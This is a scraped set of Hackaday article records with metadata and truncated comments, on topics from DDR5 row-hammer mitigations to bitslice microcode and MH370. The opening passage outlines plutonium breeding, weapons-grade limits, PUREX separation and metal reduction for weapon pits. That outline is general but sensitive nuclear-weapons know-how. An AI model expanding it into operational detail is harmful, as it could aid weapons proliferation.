migrates toward the center. The slightly enriched hex is pumped from the center of the centrifuge and fed into the next stage in a cascade, resulting in the desired enrichment. The enriched hex can then be chemically converted back into uranium dioxide for processing into fuel.
Made, Not Found
Unlike any of the other elements we’ve covered in the “Mining and Refining” series so far, plutonium is neither mined nor refined, at least not in the traditional sense. Trace amounts of plutonium do exist in nature, but at the parts per trillion level. So to get anything approaching usable quantities, plutonium, the primary fuel for nuclear weapons, needs to be synthesized in a nuclear reactor.
The main fissile isotope of plutonium,
239
Pu, is made by bombarding
238
U with neutrons. Each atom of
238
U that absorbs a neutron becomes
239
U, a radioactive isotope with a half-life of only 23.5 minutes. That decays via beta radiation to neptunium-239 (
239
Np), another short half-life (52 hours) isotope that decays to
239
Pu:
Uranium decay series. Adding a neutron to uranium-238 in a reactor “breeds” plutonium-239.
The process of creating
239
Pu from uranium is called “breeding.” From the look of the reaction above, it seems like a civilian nuclear reactor, with its high neutron flux and fuel rods composed of about 96% unenriched uranium, would be the perfect place to make plutonium. There are practical reasons why that won’t work, though, and it has to do with one little neutron.
Elemental plutonium “buttons” are recovered from the bottoms of crucibles after reduction. Buttons are the raw material that then goes to forging and machining to form the pits of nuclear weapons. Source: Los Alamos National Lab, public domain.
Plutonium isn’t really enriched the way that uranium is. Rather, plutonium is graded by the amount of
240
Pu it contains; the lower the concentration relative to
239
Pu, the higher the grade. That’s because
240
Pu tends to undergo spontaneous fission, releasing neutrons that could pre-detonate the plutonium core of the bomb before it’s completely imploded. Weapons-grade plutonium has to have less than 7%
240
Pu, and the longer the reaction is allowed to continue, the more it accumulates. Weapons-grade plutonium can only cook for a couple of weeks, which means a civilian reactor would need to be shut down far too often for it to both generate power and synthesize plutonium. So, special production reactors are used to create fissile plutonium.
Once the fuel rods in a production reactor are finished, the plutonium is chemically separated from any remaining
238
U and other contaminating fission byproducts using a long, complicated process of extraction. One such process, PUREX (plutonium uranium reduction extraction), uses nitric acid and a combination of organic solvents like kerosene to dissolve the uranium, plus aqueous solvents and reducing agents to solubilize the plutonium. Plutonium dioxide can then be reduced to metallic plutonium, for example by heating it with powdered aluminum. The resulting metal is notoriously difficult to machine, and so is often alloyed with gallium to stabilize its crystal structure and make it easier to handle. | 40 | 10 | [
{
"comment_id": "6753006",
"author": "biuro",
"timestamp": "2024-04-24T14:43:10",
"content": "“Weapons-grade plutonium can only cook for a couple of weeks, which means a civilian reactor would need to be shut down far too often for it to both generate power and synthesize plutonium. So, special prod... | 1,760,371,936.192956 | ||
https://hackaday.com/2024/04/24/chinese-subs-may-be-propelled-silently-by-lasers/ | Chinese Subs May Be Propelled Silently By Lasers | Richard Baguley | [
"Laser Hacks",
"Weapons Hacks"
] | [
"laser",
"stealth",
"submarine"
] | If sharks with lasers on their heads weren’t bad enough, now China is working on submarines with lasers on their butts. At least, that’s what this report in the
South China Morning Post claims
, anyway.
According to the report, two-megawatt lasers are directed through fiber-optic cables on the surface of the submarine, vaporizing seawater and creating super-cavitation bubbles, which reduce drag on the submarine. The report describes it as an “underwater fiber laser-induced plasma detonation wave propulsion” system and claims that the system could generate up to 70,000 newtons of thrust, more than
one of the turbofan engines on a 747
.
The report (this proxy can
get around the paywall
) claims that the key to the system are the tiny metal spheres that direct the force of the cavitation implosion to propel the submarine. Similar to a
magnetohydrodynamic drive (MHD)
, there’s no moving parts to make noise. Such a technology has the potential to make China’s submarines far harder to detect.
Looking for more details, we traced the report back to the original paper written by several people at Harbin Engineering University, entitled “
Study on nanosecond pulse laser propulsion microspheres based on a tapered optical fiber in water environment
“, but it’s still a pre-print. If you can get access to the full paper, feel free to chime in — we’d love to know if this seems like a real prospect or just exaggerated reporting by the local
propaganda
media.
[Image via
Wikimedia Commons
] | 62 | 23 | [
{
"comment_id": "6752944",
"author": "C",
"timestamp": "2024-04-24T11:11:22",
"content": "I thought cavitation was a bad thing. Doesn’t cavitation increase drag? Can someone explain this to me?",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6752948",
... | 1,760,371,936.510895 | ||
https://hackaday.com/2024/04/24/flute-now-included-on-list-of-human-interface-devices/ | Flute Now Included On List Of Human Interface Devices | Bryan Cockfield | [
"Musical Hacks",
"Peripherals Hacks"
] | [
"audio processing",
"human interface device",
"microcontroller",
"mouse",
"mouse pointer",
"music",
"rp2040"
] | For decades now, we’ve been able to quickly and reliably interface musical instruments to computers. These tools have generally made making and recording music much easier, but they’ve also opened up a number of other out-of-the-box ideas we might not otherwise see or even think about. For example, [Joren] recently built
a human interface device that lets him control a computer’s cursor using a flute
instead of the traditional mouse.
Rather than using a MIDI interface, [Joren] is using an RP2040 chip to listen to the flute, process the audio, and interpret that audio before finally sending relevant commands to control the computer’s mouse pointer. The chip is capable of acting as a mouse on its own, but it did have a problem performing floating point calculations to the audio. This was solved by converting these calculations into much faster fixed point calculations instead. With a processing improvement of around five orders of magnitude, this change allows the small microcontroller to perform all of the audio processing.
[Joren] also built a Chrome browser extension that lets a flute player move a virtual cursor of sorts (not the computer’s actual cursor) from within the browser, allowing those without physical hardware to try out their flute-to-mouse skills. If you prefer your human interface device to be larger, louder, and more trombone-shaped
we also have a trombone-based HID
for those who play the game Trombone Champ. | 17 | 10 | [
{
"comment_id": "6752934",
"author": "bob",
"timestamp": "2024-04-24T10:39:11",
"content": "It would be less objectionable to listen to if it was ultrasonic. You could even 3d print a full keyboard, using a fan to pressurise it. now, a joke: The legend of zelda, ocarina of xy positioning system.",
... | 1,760,371,936.406163 | ||
https://hackaday.com/2024/04/23/no-active-components-in-this-mysterious-audio-oscillator/ | No Active Components In This Mysterious Audio Oscillator | Dan Maloney | [
"Parts"
] | [
"microphone",
"oscillator",
"speaker"
] | What’s the simplest audio frequency oscillator you can imagine? There’s the 555, of course, and we can think of a few designs using just two transistors or even a few with just one. But how about
an oscillator with no active components
? Now there’s a neat trick.
Replicating [Stelian]’s “simplest audio oscillator on the Internet” might take some doing on your part, since it relies on finding an old telephone. Like, really old — you’ll need one with the carbon granule cartridge in the handset, along with the speaker. Other than that, all you’ll need is a couple of 1.5-volt batteries, wiring everything in one big series loop, and placing the microphone and speaker right on top of each other. Apply power and you’re off to the races. [Stelian]’s specific setup yielded a 2.4-kHz tone that could be altered a bit by repositioning the speaker relative to the mic. On the oscilloscope, the waveform is a pretty heavily distorted sine wave.
It’s a bit of a mystery to [Stelian] as to how this works without something to provide at least a little gain. Perhaps the enclosure of the speaker or the mic has a paraboloid shape that amplifies the sound just enough to kick things off? Bah, who knows? Let the hand-waving begin! | 39 | 10 | [
{
"comment_id": "6752873",
"author": "jpa",
"timestamp": "2024-04-24T05:32:45",
"content": "Granule mics provide gain as they modulate current flow from the battery.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6752877",
"author": "Urgon",
... | 1,760,371,936.26973 | ||
https://hackaday.com/2024/04/23/new-jedec-ddr5-memory-specification-up-to-8800-mt-s-anti-rowhammer-features/ | New JEDEC DDR5 Memory Specification: Up To 8800 MT/s, Anti-Rowhammer Features | Maya Posch | [
"News",
"Parts"
] | [
"ddr5",
"memory",
"Row hammer"
] | “
Row hammer
” by
Dsimic
–
Own work
. Licensed under
CC BY-SA 4.0
via
Wikimedia Commons
.
As DDR SDRAM increases in density and speed, so too do new challenges and opportunities appear. In the recent DDR5
update by JEDEC
– as reported by Anandtech – we see not only a big speed increase from the previous maximum of 6800 Mbps to 8800 Mbps, but also the deprecation of Partial Array Self Refresh (PASR) due to security concerns, and the introduction of Per-Row Activation Counting (PRAC), which should help with row hammer-related (security) implications.
Increasing transfer speeds is primarily a matter of timings within the limits set by the overall design of DDR5, while the changes to features like PASR and PRAC are more fundamental.
PASR
is mostly a power-saving feature, but can apparently be abused for nefarious means, which is why it’s now gone. As for PRAC, this directly addresses the issue of row hammer attacks. Back in the 2014-era of DDR3,
row hammer
was
mostly regarded
as a way to corrupt data in RAM, but later it was found to be also a way to compromise security and effect exploits like privilege escalation.
The way PRAC seeks to prevent this is by keeping track of how often a row is being accessed, with a certain limit after which neighboring memory cells get a chance to recover from the bleed-over that is at the core of row hammer attacks. All of which means that theoretically new DDR5 RAM and memory controllers should be even faster and more secure, which is good news all around. | 5 | 2 | [
{
"comment_id": "6752985",
"author": "BrendaEM",
"timestamp": "2024-04-24T13:38:10",
"content": "The future of RAM is static.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6753040",
"author": "C",
"timestamp": "2024-04-24T16:04:31",
... | 1,760,371,936.559534 | ||
https://hackaday.com/2024/04/23/floss-weekly-episode-780-zoneminder-better-call-randal/ | FLOSS Weekly Episode 780: Zoneminder — Better Call Randal | Jonathan Bennett | [
"Hackaday Columns",
"Podcasts",
"Software Development"
] | [
"FLOSS Weekly",
"open source",
"Zoneminder"
] | This week Jonathan Bennett and Aaron Newcomb chat with
Isaac Connor
about
Zoneminder
! That’s the project that’s working to store and deliver all the bits from security cameras — but the CCTV world has changed a lot since Zoneminder first started, over 20 years ago. The project is working hard to keep up, with machine learning object detection, WebRTC, and more. Isaac talks a bit about developer burnout, and a case or two over the years where an aggressive contributor seems suspicious in retrospect. And when is the next stable version of Zoneminder coming out, anyway?
Did you know you can watch the live recording of the show
right in the Hackaday Discord
? Have someone you’d like use to interview? Let us know, or contact the guest and have them contact us! Next week we’re taping the show on Tuesday, and looking for a guest!
Direct Download
in DRM-free MP3.
If you’d rather read along,
here’s the transcript for this week’s episode
.
Places to follow the FLOSS Weekly Podcast:
Spotify
RSS | 3 | 1 | [
{
"comment_id": "6752847",
"author": "Daniel Dunn",
"timestamp": "2024-04-24T01:31:14",
"content": "CCTV is one of the few things I built myself, and don’t regret… I really like the idea of zoneminder… but the setup seems pretty involved.Does it still need a separate database? Does the WebRTC stuff... | 1,760,371,936.602492 | ||
https://hackaday.com/2024/04/22/optical-tweezers-investigate-tiny-particles/ | Optical Tweezers Investigate Tiny Particles | Bryan Cockfield | [
"Laser Hacks"
] | [
"biology",
"Chemistry",
"colloid",
"diffraction",
"dvd burner",
"glycerol",
"laser",
"optical drive",
"optical tweezers",
"tweezers"
] | No matter how small you make a pair of tweezers, there will always be things that tweezers aren’t great at handling. Among those are various fluids, and especially aerosolized droplets, which can’t be easily picked apart and examined by a blunt tool like tweezers. For that you’ll want to reach for a specialized tool like this laser-based tool which can illuminate and manipulate tiny droplets and other particles.
[Janis]’s optical tweezers
use both a
170 milliwatt laser from a DVD burner and a second, more powerful half-watt blue laser. Using these lasers a mist of fine particles, in this case glycerol, can be investigated for particle size among other physical characteristics. First, he looks for a location in a test tube where movement of the particles from convective heating the chimney effect is minimized. Once a favorable location is found, a specific particle can be trapped by the laser and will exhibit diffraction rings, or a scattering of the laser light in a specific way which can provide more information about the trapped particle.
Admittedly this is a niche tool that might not get a lot of attention outside of certain interests but for those working with proteins, individual molecules, measuring and studying cells, or, like this project, investigating colloidal particles it can be indispensable. It’s also interesting how one can be built largely from used optical drives, like
this laser engraver that uses more than just the laser
, or even
this scanning laser microscope
. | 1 | 1 | [
{
"comment_id": "6752718",
"author": "Steven Hill",
"timestamp": "2024-04-23T16:24:15",
"content": "I did this back in 1971 with a Huge’s Pulse Ar Laser and some micro polystyrene sphere’s It was for a regional Science Fair project and won in the physics section. It was. new and novel back then... | 1,760,371,936.643515 | ||
https://hackaday.com/2024/04/22/nasas-voyager-1-resumes-sending-engineering-updates-to-earth/ | NASA’s Voyager 1 Resumes Sending Engineering Updates To Earth | Maya Posch | [
"Space"
] | [
"space probe",
"voyager"
] | After many tense months, it seems that thanks to a gaggle of brilliant engineering talent and a lucky break the Voyager 1 spacecraft is once more back in action. Confirmation
came on April 20th
, when Voyager 1 transmitted its first data since it fell silent on November 14 2023. As
previously suspected
, the issue was a defective memory chip in the flight data system (FDS), which among other things is responsible for preparing the data it receives from other systems before it is transmitted back to Earth. As at this point in time Voyager 1 is at an approximate 24 billion kilometers distance, this made for a few tense days for those involved.
The firmware patch that got sent over on April 18th contained an initial test to validate the theory, moving the code responsible for the engineering data packaging to a new spot in the FDS memory. If the theory was correct, this should mean that this time the correct data should be sent back from Voyager. Twice a 22.5 hour trip and change through Deep Space and back later on April 20th the team was ecstatic to see what they had hoped for.
With this initial test successful, the team can now move on to moving the remaining code away from the faulty memory after which regular science operations should resume, and giving the plucky spacecraft a new lease on life at the still tender age of 46. | 29 | 13 | [
{
"comment_id": "6752500",
"author": "The Commenter Formerly Known As Ren",
"timestamp": "2024-04-22T23:12:53",
"content": "Awesome!",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6752507",
"author": "Bob",
"timestamp": "2024-04-22T23:55:46",
"cont... | 1,760,371,938.244079 | ||
https://hackaday.com/2024/04/22/ancient-cable-modem-reveals-its-rf-secrets/ | Ancient Cable Modem Reveals Its RF Secrets | Dan Maloney | [
"Retrocomputing",
"Reverse Engineering"
] | [
"cable",
"demodulation",
"modem",
"NABU",
"O-QPSK",
"quadrature",
"reverse engineering",
"RF",
"videotext"
] | Most reverse engineering projects we see around here have some sort of practical endpoint in mind. Usually, but not always.
Reverse-engineering a 40-year-old cable modem
probably serves no practical end, except for the simple pleasure of understanding how 1980s tech worked.
You’ll be forgiven if the NABU Network, the source of the modem [Jared Boone] tears into, sounds unfamiliar; it only existed from 1982 to 1985 and primarily operated in Ottawa, Canada. It’s pretty interesting though, especially
the Z80-based computer that was part of the package
. The modem itself is a boxy affair bearing all the hallmarks of 1980s tech. [Jared]’s inspection revealed a power supply with a big transformer, a main logic board, and a mysterious shielded section with all the RF circuits, which is the focus of the video below.
Using a signal generator, a spectrum analyzer, and an oscilloscope, not to mention the PCB silkscreen and component markings, [Jared] built a block diagram of the circuit and determined the important frequencies for things like the local oscillator. He worked through the RF section, discovering what each compartment does, with the most interesting one probably being the quadrature demodulator. But things took a decidedly digital twist in the last compartment, where the modulated RF is turned into digital data with a couple of 7400-series chips, some comparators, and a crystal oscillator.
This tour of 80s tech and the methods [Jared] used to figure out what’s going on in this box were pretty impressive. There’s more to come on this project, including recreating the original signal with SDRs. In the mean time, if this put you in the mood for other videotext systems of the 80s, you might enjoy
this Minitel terminal teardown
. | 27 | 7 | [
{
"comment_id": "6752449",
"author": "rclark",
"timestamp": "2024-04-22T20:33:33",
"content": "When did a 40 year device (the 80s) become Ancient ;) . There are quite a few of us that are still living you know that lived through the 80s :) . Now back 500 BC …Interesting project though.",
"p... | 1,760,371,939.112208 | ||
https://hackaday.com/2024/04/22/ai-lego-a-brickton-of-ideas/ | AI + LEGO = A Brickton Of Ideas | Kristina Panos | [
"Artificial Intelligence"
] | [
"ai",
"artificial intelligence",
"lego",
"legos"
] | What if there was some magic device that could somehow scan all your LEGO and tell you what you can make with it? It’s a childhood dream come true, right? Well, that device is in your pocket. Just dump out your LEGO stash on the carpet, spread it out so there’s only one layer, scan it with your phone, and after a short wait, you get a list of all the the fun things you can make. With building instructions. And oh yeah, it shows you where each brick is in the pile.
We are talking about
the BrickIt app
, which is available for Android and Apple. Check it out in the short demo after the break. Having personally tried the app, we can say it does what it says it does and is in fact quite cool.
As much as it may pain you to have to pick up all those bricks when you’re finished, it really does work better against a neutral background like light-colored carpet. In an attempt to keep the bricks corralled, we tried a wooden tray, and it didn’t seem to be working as well as it probably could have — it didn’t hold that many bricks, and they couldn’t be spread out that far.
And the only real downside is that results are limited because there’s a paid version. And the app is kind of constantly reminding you of what you’re missing out on. But it’s still really, really cool, so check it out.
We don’t have to tell you how versatile LEGO is. But have you seen
this keyboard stand
, or
this PCB vise?
Thanks to [Keith Olson] for the tip! | 38 | 9 | [
{
"comment_id": "6752405",
"author": "TG",
"timestamp": "2024-04-22T18:47:52",
"content": "Firmly in the “AI telling you what to think” realm. What’s the point of playing an imagination/creativity game if you outsource the imagination and creativity?",
"parent_id": null,
"depth": 1,
"rep... | 1,760,371,938.892975 | ||
https://hackaday.com/2024/04/22/slicing-and-dicing-the-bits-cpu-design-the-old-fashioned-way/ | Slicing And Dicing The Bits: CPU Design The Old Fashioned Way | Al Williams | [
"computer hacks",
"Hackaday Columns",
"Slider"
] | [
"am2900",
"am2901",
"amd",
"bitslice"
] | Writing for Hackaday can be somewhat hazardous. Sure, we don’t often have to hide from angry spies or corporate thugs. But we do often write about something and then want to buy it. Expensive? Hard to find? Not needed? Doesn’t really matter. My latest experience with this effect was due to a recent article I wrote about the AM2900 bitslice family of chips. Many vintage computers and video games have them inside, and, as I explained before, they are like a building block you use to build a CPU with the capabilities you need. I had read about these back in the 1970s but never had a chance to work with them.
As I was writing, I wondered if there was anything left for sale with these chips. Turns out you can still get the chips — most of them — pretty readily. But I also found an eBay listing for an AM2900 “learning and evaluation kit.” How many people would want such a thing? Apparently enough that I had to bid a fair bit of coin to take possession of it, but I did. The board looked like it was probably never used. It had the warranty card and all the paperwork. It looked in pristine condition. Powering it up, it seemed to work well.
What Is It?
The board hardly looks at least 40 years old.
The board is a bit larger than a letter-sized sheet of paper. Along the top, there are three banks of four LEDs. The bottom edge has three banks of switches. One bank has three switches, and the other two each have four switches. Two more switches control the board’s operation, and two momentary pushbutton switches.
The heart of the device, though, is the AM2901, a 4-bit “slice.” It isn’t quite a CPU but more just the ALU for a CPU. There’s also an AM2909, which controls the microcode memory. In addition, there’s a small amount of memory spread out over several chips.
A real computer would probably have many slices that work together. It would also have a lot more microprogram memory and then more memory to store the actual program. Microcode is a very simple program that knows how to execute instructions for the CPU.
For example, suppose you wanted an instruction that added the A register to the B register and left the result in the A register. An imaginary microcode program might look like this:
Gate register A onto internal bus X
Gate register B onto internal bus Y
Set ALU to compute X+Y
Gate ALU output to register A
The microcode would normally also fetch the next instruction, too.
The kit lacks any program memory and only has 16 memory slots for microprogram steps. So, in reality, you can probably fake a single instruction and see how it works. But that’s about it. The example I’ll show you is a simple microprogram that converts an 8-bit BCD number into the equivalent binary number. That is, 2 and 8 will convert to 1 and C (since everything is 4-bit). Even this takes all the memory the device has. So don’t expect to emulate a VAX 11/730 (which did, incidentally, use 8 AM2901s).
How it Works
The board doesn’t have a microcontroller, so everything is ordinary logic. It is set up to work with 4-bit numbers and a 32-bit microcode word. Since board space and LEDs were expensive then, everything works with 4 bits at a time. The right-hand bank of switches (the mux select) lets you put a binary number from 000 to 111 (0-7), and that controls which 4-bit part you are working with at any given time.
The LEDs on the left show a data display. Exactly what this means depends on the position of the mux select switches. For example, when the switches are at 001, the data LEDs show the output of the ALU. When the switches are at 010, the ALU’s flags (for example, carry and zero) appear.
The other LEDs show four bits of the pipeline register — the instruction the board is about to execute — and the contents of the microprogram memory (again, the selected four bits).
When the Run/Load switch is set to the load position, you can enter an address on the left-hand switches, and data bits on the middle switches. Then you press Memory Load. That means to completely enter a 32-bit microinstruction, you have to flip the mux switches 8 times and then enter each 4-bit value, one at a time.
If you flip to run, you can use the single step button to execute an instruction, or you can hook up an external clock and use that.
This is all confusing to read about, but the video below will help you see how this old hardware works.
Internals
Internally, you can see that the microprogram memory feeds the pipeline register. The address is from a multiplexer that can select an address from several sources. The pipeline register provides 32 bits that control everything from what the next address is to what the ALU does.
Block diagram of the board
There is a small PROM that serves as a lookup table to control the sequencer. This allows the instruction to use a small number of bits to control the AM2909 sequencer so that you can select the next address, have conditional jumps, or even push or pop the stack internal to the device.
Essentially, the sequencer decides what word to execute, the AM2901 does most of the execution, and the rest is just memory and a little glue logic.
In a real system, you have to account for things like the carry flags and detecting a zero result. However, having only one slice makes things easier. The carry input is part of the microinstruction so you decide when there’s a carry and when there isn’t.
Microinstructions
A scan of the manual’s microcode instruction reference
In a real design, the microinstruction size and format were totally up to you. However, since we are using the evaluation board, you must use that format (see the figure below). Each instruction had several major parts: a way to specify what instruction would happen next, a source, and a destination along with an operation. In addition, there were two register fields and a data field (all, of course, four bits). Not all fields are used in every case.
This is a very flexible arrangement because you can, for example, do adding, shifting, and a conditional jump all in one instruction. However, it can take some getting used to. For example, loading a register is usually done by using a logical OR instruction with a constant zero.
The other thing that is strange is the pipelining. Because everything is set up at the start, a conditional jump doesn’t apply to the line it is on but the line before. For example (in pseudo-code):
Goto next, set Q to A+1
If zero goto bump, set B to B+1
The “if” in the second line will trigger on the addition done in the first line.
Assembler
A small excerpt of the “assembler” spreadsheet
If you watch the video, you’ll see that entering a full program is tedious and error-prone. To help, I created an “assembler” using Google Sheets. You can use symbols for addresses, registers, and constants. In most places, you can use a drop-down to pick among options. There’s a place for comments, too.
Once it is filled in, you can hide the “source code” using Control+Alt+Shift+2. That gives you a handy piece to read or print for putting the data into the board. Control+Alt+Shift+1 will restore the display.
Address
Branch
Next
MUX
DEST
SRC
CARRY
ALU
A
B
D
0
CONTINUE
F->RAM (F)
D 0
R OR S
!ILSD
#Digit0
1
CONTINUE
F->RAM (F)
D 0
R OR S
!IMSD
#Digit1
2
CONTINUE
F->Q
D 0
R OR S
0
3
CONTINUE
2 – Double
2F, 2Q->RAM,Q
0 B
R OR S
!RES0
Consider the excerpt from the demo program above. The branch column could contain the next address to execute, but since each line has a continue, the address can be blank. The system will ignore it anyway.
To the right are the A, B, and D columns. The A and B columns are numbers from 0 to 15 signifying one of the ALU’s internal registers. Here, we don’t use A, so it is blank. The D field is for a four-bit constant if you need it.
The ALU column holds the operation to execute and the SRC column is what the inputs to that function are. In the first line, for example, we take D and OR it with zero. At address 3, however, the OR is between a zero and the contents of the B register.
The DEST column tells where the ALU result goes. In most of these lines, it goes to RAM, which is the register named in B. However, at address 2, the result goes to the Q register, which is internal to the AM2901. The destination for address 3 stores the result after doing a double (that is, 8-bit) shift to the left.
Obviously, a lot is going on here. If you want to know all about it, you’ll need to read the datasheets and the board manual. I’ve left those for you over on
Hackaday.io
. You’ll also find links to the assembler and some other material there.
Don’t have a board? No problem. I’ll make an emulator — also spreadsheet-based — available in the next installment along with more about the chip’s internals. If you missed the post that started me down this path, you can go back and read more
about the internals and the device’s history
. There are plenty of
emulators
for machines that used the AM2901, although they probably mimic the behavior, not the circuit. | 12 | 9 | [
{
"comment_id": "6752396",
"author": "MD",
"timestamp": "2024-04-22T18:06:31",
"content": "Nice find. Reminds me of the NorthStar “hardware floating point” S-100 board I had years ago. It used a microcoded 74181 :-) And Polymorphic BASIC could make use of it. Quite an impressive speedup.",
"par... | 1,760,371,938.61414 | ||
https://hackaday.com/2024/04/22/how-wireless-charging-works-and-why-its-terrible/ | How Wireless Charging Works And Why It’s Terrible | Maya Posch | [
"Phone Hacks"
] | [
"wireless charging"
] | Wireless charging is pretty convenient, as long as the transmitter and receiver speak the same protocol. Just put the device you want to charge on the wireless charger without worrying about plugging in a cable. Yet as it turns out, the disadvantages of wireless charging may be more severe than you think, at least
according to tests
by iFixIt’s [Shahram Mokhtari] and colleagues. In the article the basics of wireless charging are covered, as well as why wireless charging wastes a lot more power even when not charging, and why it may damage your device’s battery faster than wired charging.
The inefficiency comes mostly from the extra steps needed to create the alternating current (AC) with wireless coupling between the coils, and the conversion back to DC. Yet it is compounded by the issue of misaligned coils, which further introduce inefficiencies. Though various protocols seek to fix this (Qi2 and Apple’s MagSafe) using alignment magnets, these manage to lose 59% of the power drawn from the mains due to these inefficiencies. Wireless chargers also are forced to stay active, polling for a new device to charge, which keeps a MagSafe charger sucking up 0.2 W in standby.
If the losses from wired charging for a year come down to leaving a 10 W LED lamp on for eight hours total, wireless charging with MagSafe or Qi2 has you leaving that lamp on for 24 days straight. Since your phone is not a lamp, this means that much of this wasted power is dissipated as heat, both on the transmitting and receiving end. With the wireless receiving coil being placed practically on top of the battery in smartphones, this means that you are bumping the battery temperature up by about 8°C in the best scenario (fully aligned MagSafe/Qi2) over wired charging, and a sustained 40+°C in the case of a misaligned Qi charger, or the worst of all: the Tesla Charging Platform with its many overlapping coils.
Thus if plugging in a cable to connect a device is that much of a hassle, be sure to at the very least get a wireless charging solution that doesn’t simultaneously bump up your power bill and shorten the lifespan of the device’s battery. | 83 | 14 | [
{
"comment_id": "6752335",
"author": "Dude",
"timestamp": "2024-04-22T15:38:24",
"content": "The biggest irony of wireless charging is that it uses more wire.A lot more wire.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6752337",
"author": "Deon va... | 1,760,371,938.543777 | ||
https://hackaday.com/2024/04/22/the-hunt-for-mh370-goes-on-with-barnacles-as-a-lead/ | The Hunt For MH370 Goes On With Barnacles As A Lead | Lewin Day | [
"Current Events",
"Featured",
"Science",
"Slider"
] | [
"barnacles",
"marine biology",
"MH370",
"plane"
] | On March 8, 2014, Malaysia Airlines Flight 370 vanished. The crash site was never found, nor was the plane. It remains one of the most perplexing aviation mysteries in history. In the years since the crash, investigators have looked into everything from ocean currents to obscure radio phenomena to try and locate the plane. All have thus far failed to find the wreckage.
It was on July 2015 when a flaperon from the aircraft washed up on Réunion Island. It was the first piece of wreckage found, and it was hoped it could provide clues to the airliner’s final resting place. While it’s yet to reveal a final answer as to the aircraft’s fate, some of the ocean life living on it
could help investigators need to find the plane.
The picture is murky right now, but in an investigation where details are scarce, every little clue helps.
Barnacles
A fragment of engine cowling believed to be from MH370, which washed up in December 2015. Note the barnacles covering the debris. Credit: ATSB
Today, there’s a general consensus that MH370 probably went down somewhere in the Indian Ocean. That’s supported both by analysis of satellite pings and the wreckage which washed up at Réunion. Notable on the wreckage was a small population of barnacles of the species
Lepas anatifera.
David Griffin, an Australian government scientist, expressed optimism that these barnacles could help pinpoint the crash site. Similarly, American scientist Gregory Herbert thought much the same thing. Akin to the rings of a tree, the shells of the barnacle can reveal a history of the organism. By analyzing the found barnacles against their typical life cycle, they could potentially reveal details about where the wreckage had been.
By studying a barnacle’s shell, it’s possible to reconstruct the conditions of its growth. Credit:
research paper
A great deal of research
was undertaken to learn more about the species in the hope that better understanding the barnacles could help find the plane. As a species,
Lepas anatifera
proved to be uniquely perfect for further analysis. These barnacles tend to attach to floating debris, such as that generated by a catastrophic plane crash. Under stable conditions, the barnacles tend to grow at a fairly consistent rate. By looking at the oldest barnacles on the debris, one could try and estimate the length of time it had been in the water. Combining this with models of ocean currents could help figure out where a piece of debris might have come from.
Unfortunately, the innate variability of the sea organisms frustrated easy analysis. By growing their own barnacles in different conditions, researchers soon found that varying sea temperatures had a significant impact on growth size. As did the amount of nutrients available for the barnacles to feed on. Some researchers found that their barnacles maxed out at 20 mm in length after three months, while others grew barnacles over twice as long in a third of the time.
Scientist David Griffin pictured with a replica flaperon used in drift modelling studies by the CSIRO. Source: Peter Mathew via CSIRO
After much analysis and comparison of barnacle studies, initial optimism was dampened by the reality of the evidence. The largest barnacles on the flaperon suggested it had been floating for about four months — far less than the 16 months between the aircraft’s disappearance and the flaperon’s discovery. Indeed, similar results were found for other debris recovered since then, too. “Unfortunately for crash investigators, the new, faster
Lepas
growth rates suggest that the large (36 mm)
Lepas
found on the missing Malaysian Airline flight MH370 wreckage at Reunion Island – 16 months after the aircraft was believed to have crashed in 2014 – were much younger than previously realised,” said Iain Suthers, a researcher with the University of New South Wales who worked on
barnacle studies.
In testing, it was found the flaperon floated in an orientation where much of it stuck out of the water. And yet, the flaperon was found with barnacles on these very surfaces. It’s a question that doesn’t have an easy answer at this stage.
Credit: CSIRO
Other mysteries have presented baffling inconsistencies, too. When French researchers floated the flaperon in a tank to determine how it floated, they found one edge would consistently stick out of the water. This would be all well and good, except this surface was found covered in barnacles, too. This should have been impossible, as the barnacles cannot grow under these conditions.
There are still hopes that barnacle analysis could provide new areas for authorities to search for the plane. In concert with his research team, Herbert published a paper
late last year
positing a new drift path for the flaperon, based on barnacle studies. The paper lays out a deep analysis of a barnacle shell found on the MH370 flaperon debris. The shell’s makeup was used to determine the sea temperatures at different stages of the barnacle’s growth, based on established research into
Lepas anatifera
. This was then used to generate a reconstruction of the barnacle’s potential drift path through the ocean before it wound up on Réunion Island. The team hoped to repeat their analysis with larger barnacles from the flaperon debris, if they were to be released for analysis by French authorities.
Herbert’s research team used the sea surface temperature history baked into a barnacle’s shell to generate a new partial drift model for debris that washed up on Réunion Island. Credit:
research paper
Grasping at (Very Scientific) Straws
It bears noting that these techniques aren’t the typical way that we hunt for crashed airliners. Normally, radar logs, transponder signals, and other data give us enough to go on to know where to look. In the case of MH370, much of that wasn’t available, meaning authorities and scientists had to get far more creative to hunt it down.
There are still some holes in the barnacle analysis as mentioned above. Plus, without access to all the barnacle evidence, researchers are naturally constrained. Ultimately, it’s an odd application of marine biology to try and solve an implacable mystery. It’s valid to try, but there’s no guarantee these small shelled organisms will turn up the plane that has so far proven impossible to find.
The ongoing investigation into MH370’s disappearance highlights the limitations and potential of using marine biology in solving such mysteries. Despite the advanced technologies and the novel application of biological data, significant gaps remain in our understanding of the debris’ drift patterns.
As researchers continue to study these marine organisms, the MH370 mystery underscores a broader truth: the ocean’s sheer size often defies our efforts to understand it. Trying to find a needle in a haystack would be a cinch by comparison.
Featured image: “
Grand Canyon Sunset Through a de Havilland DHC-6 Twin Otter Airplane Cockpit
” by Nan Palmero. | 43 | 15 | [
{
"comment_id": "6752290",
"author": "Clóvis Fritzen",
"timestamp": "2024-04-22T14:06:21",
"content": "Bugs me that a single airplane was never found, while (most) ALL the others that ever crashed were rapidly found. Was that airplane chashed on purpose in a (previously studied) hard location to fin... | 1,760,371,938.376223 | ||
https://hackaday.com/2024/04/23/80s-function-generator-is-both-beauty-and-beast/ | 80s Function Generator Is Both Beauty And Beast | Tom Nardi | [
"classic hacks",
"Teardown"
] | [
"1980's",
"function generator",
"test equipment"
] | You know how the saying goes — they don’t make them like this anymore. It’s arguably true of pretty much any electronic device given the way technology changes over time, though whether or not it’s objectively a bad thing is going to vary from case to case.
As a practical example, take a look at the insides of this 80’s vintage HP 3314A function generator
shared on the EEV Blog Forum by [D Straney]
.
Hinged PCBs allow for easy access
